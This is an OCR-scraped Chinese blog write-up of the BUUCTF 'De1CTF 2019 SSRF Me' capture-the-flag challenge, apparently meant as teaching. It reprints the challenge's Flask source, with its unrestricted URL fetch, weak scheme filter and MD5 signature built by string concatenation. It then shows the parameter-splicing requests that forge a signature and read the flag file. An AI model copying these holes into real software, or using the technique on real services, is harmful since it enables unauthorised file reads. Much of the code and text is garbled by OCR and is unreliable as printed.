BUUCTF [De1CTF 2019] SSRF Me

Senimo F 2020-12-20 13:02:35 K Aii 229 Wi

7325 % k4 BUUCTF WEB Writeup S # 5% : BUUCTF De1CTF 2019 SSRF Me writeup CTF
FEALFE B RSO R A&, #E5.CC 4.0 BY-SA RN, #5480 I b5 AL BERR A B 1
A CHERE: hitps://blog.csdn.net/weixin_44037296/article/details/111412019

R

ug BUUCTF WEB Writeup %~ 5% 1% A %%

65 f S 9 VT T
VB E A

BUUCTF [De1CTF 2019] SSRF Me
% pi:

1. Flaskfthd & it
2. Python= 7 Pf %

Hint:
flag is in ./flag.txt
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#! /usr/bin/env python
#encoding=utf-8

from flask import Flask
from flask import request
socket
hashlib
urllib
sys
0s
json
reload(sys)
sys.setdefaultencoding('latinl')

app = Flask(__name_ )

secert_key = os.urandom(16)

class Task:
def init_ (self, action, param, sign, ip):#python
self.action action
self.param param
self.sign sign
self.sandbox = md5(ip)
if( os.path.exists(self.sandbox)): #SandBox For Remote Addr
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def Exec(self) :#& X WJmrSHAITEREL, MALHTH TscaniX 1~ E X TR £L
result {}
result[ 'code'] 500
if (self.checkSign()):
if "scan" in self.action:#actionZ%scan
tmpfile = open("./%s/result.txt" self.sandbox, 'w')
resp = scan(self.param) # ULLEXFIERIGFFN &L
if (resp "Connection Timeout"):
result[ 'data'] resp
else:

print resp #%ii 45 R

tmpfile.write(resp)
tmpfile.close()
result[ 'code'] 200
if "read" in self.action:#actionZ/jread
f = open("./%s/result.txt" self.sandbox, 'r')
result[ 'code'] 200
result[ 'data'] f.read()
if result|['code'] 500:
result[ 'data'] "Action Error"
else:
result[ 'code'] 500
result[ ‘msg'] "Sign Error"
return result

checkSign(self):

if (getSign(self.action, self.param) self.sign): #!!!1/%
return True

else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) # !X/l
def geneSign():

param = urllib.unquote(request.args.get("param", ""))

action "scan"

return getSign(action, param)

@app.route('/Delta’,methods=["'GET"', 'POST" |)# X1 EF Hi2FiH PR ZTEN 54
def challenge():

action = urllib.unquote(request.cookies.get("action"))

param = urllib.unquote(request.args.get("param", ""))

sign = urllib.unquote(request.cookies.get("sign"))

ip request.remote_addr

if(waf(param)):

return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route( ' /" V# R AREEHI, FLa2RWHCIT754H 7
index():
return open("code.txt","r").read()

scan(param) : #X 42 H Kk F1 H %77 24
socket.setdefaulttimeout (1)




try:

return urllib.urlopen(param).read()[:50]
except:

return "Connection Timeout"

getSign(action, param):#!/!!

return hashlib.md5(secert_key param action).hexdigest()

md5 (content):
return hashlib.md5(content).hexdigest()

def waf(param):#X7wa
check=param.strip().lower()
if check.startswith("gopher") check.startswith("file"):
return True
else:

return False

if _ _name__ '__main__":
app.debug False
app.run(host="'90.0.0.0")
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def getSign(action, param):

return hashlib.md5(secert_key + param + action).hexdigest()

HEBEHTFRPHE, BT action MAEEZREF AT, BATFEGHL "read" in self.action, FrLI¥f read Hfi%
1t param Z¥J5, FTUMIELS:

GET
param=flag.txtread

Cookie

action=scan

< C A "LE c‘I23.node3.buuoj.cn/geneSign?param:flag.txtread| W

12af1d0a42ff2610495400c73b3cb79a

[x ﬂ Elements Console Sources Network Performance Memory Application
Application C Filter (N (J Only show cookies
B Manifest Name Value D... [P... |E... |Siz
Lx Service Workers action scan 6... |/ S... | 1

25183 sign M1H: 12af1deas42ff2610495400c73b3cb79a

£ /Delta ULIHI 141t i % payload:



/ GET
param=flag.txt

/ Cookie

action=readscan
sign=12af1d@a42ff2610495400c73b3cb79a

£ 2 J515 2flag:
< C | A A"%% | 26ad7c2c123.node3.buuoj.cn/Delta?param=~flag.txt ¥

{"code": 200, "data": "flag{19507659-15bc—-43a0-a37e-b2d1b58fdf94\n"}

(w ﬂ Elements Console Sources Network Performance Memory Application

Application C Filter (N (J Only show cookies
B Manifest Name Value D... [P... |E... |Siz

Lx Service Workers sign 12af1d0a42ff261049540... |6... |/ S...| 3
action readscan 6... |/ S... 1

B Clear storage



	BUUCTF [De1CTF 2019] SSRF Me
	BUUCTF [De1CTF 2019] SSRF Me


